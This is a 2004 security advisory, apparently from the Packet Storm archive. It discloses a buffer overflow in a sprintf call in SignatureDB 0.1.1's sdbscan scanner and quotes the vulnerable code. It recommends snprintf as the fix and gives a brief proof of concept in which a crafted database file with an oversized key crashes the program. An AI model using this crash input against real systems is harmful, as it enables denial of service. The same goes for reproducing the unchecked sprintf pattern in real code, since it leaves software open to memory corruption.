what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

LynX-adv4_SignatureDB.txt

LynX-adv4_SignatureDB.txt
Posted Feb 16, 2004
Authored by LyNx

SignatureDB is vulnerable to a denial of service attack due to a buffer overflow in a sprintf statement.

tags | advisory, denial of service, overflow
SHA-256 | 63a06ca66a5273103422bc7ed4658d21d246ba1116ba9a6e1d2549646f4199ca

LynX-adv4_SignatureDB.txt

Change Mirror Download


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
File: LynX-adv4_SignatureDB.txt
Date: 15/02/2004
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

o NAME: problems with database files in 'SignatureDB'

o CLASS: denial of service (DOS)

o PROGRAMM: SignatureDB [https://pldaniels.com/signaturedb/]
- Affected versions: 0.1.1
- Immune versions: -

o OS: Linux and UNIX clones

o VENDOR: Paul L Daniels <pldaniels@pldaniels.com>

o DESCRIPTION:
'SignatureDB' is actually two components, a signature database which is
available on the internet, and a 'signatureID' program, which scans your files.
You can in effect consider 'SDB/ID' in the same way you consider and use an
'AntiVirus' program, but 'SDB/ID' are aimed at a slightly different sector of
the industry. Its purpose is to provide signatures/fingerprints of common,
annoying emails/files, not specifically viruses.

o VULNERABILITY DESCRIPTION:
'SignatureDB' package contain 'sdbscan' program, which scans files, in
according with specified database file. It is possible to create a big 'key'
parameter in this file, that will reduce to 'Segmentation fault'. Function which
work with contents of database files, are located in 'ringsearch.c' file.
After '#' - going my comments.

Cut from file: 'ringsearch.h'
...
33 struct _infonode {
34 char key[20];
35 char *comment;
36 int major;
37 int minor;
38 int flags;
39 };
...

Cut from file: 'ringsearch.c'
...
537 int RS_load_keys( struct _snode *parent, char *fname ){
/* # where 'fname' - database filename */
...
541 char line[10240]; /* # allocating memory for 10240 bytes, and then use */
/* # only 1024, maybe author was mistaken and last 0 */
/* # is unnecessary :) */
...
562 while (fgets(line, 1023, f)){
...
582 sprintf(info->key,"%s",key); /* # size of 'key' are not checking, its */
/* # can be =< 1018 bytes, and size of */
/* # 'info->key' is equal 20 bytes, so */
/* # 'info->key' can be overflowed */
...

Its only first version of 'SignatureDB', so i think that in the next versions
this problem will be fixed.
P.S. Sorry, for my poor english :).

o VULNERABILITY PREVENTION:
Instead of using 'sprintf' function, will be more correct to use function
'snprintf'.

o EXPLOITING:
It is possible to specify configuration file for 'sdbscan' program, in this
file you may type path to your own database file, which contents can cause
buffer overflow and then 'Segmentation fault'.

Example of exploiting :

[LynX@ /tmp]$ cat my.conf
dbfile=/tmp/fake.db
verbose=1
fastscan=0
fastexit=0
[LynX@ /tmp]$ cat fake.db
AAA ... '1000 x A' ... AAA:1:1:1:1:A:A
[LynX@ /tmp]$ sdbscan --conf_file=my.conf
Segmentation fault (core dumped)
[LynX@ /tmp]$

o VENDOR RESPONSE:
I sent notification mail to the Paul Daniels <pldaniels@pldaniels.com> and
did not received an answer.

o CREDITS:
- Thanks: nob0dy, netc0de, Xarth
- Greets: R00T T34M [https://rootteam.void.ru],
void,
LimpidByte,

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Discovered by LynX
<_LynX@bk.ru>
/ close your eyes & dream with me /
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see https://www.gnupg.org

iEYEARECAAYFAkAv8HMACgkQjvZ3gq5fCnGA8gCgnqItklxup0YzArOkT6nn+kNI
5BgAoOf+SFgV1vXH73RcdzIWXbdXa8NK
=iIIl
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close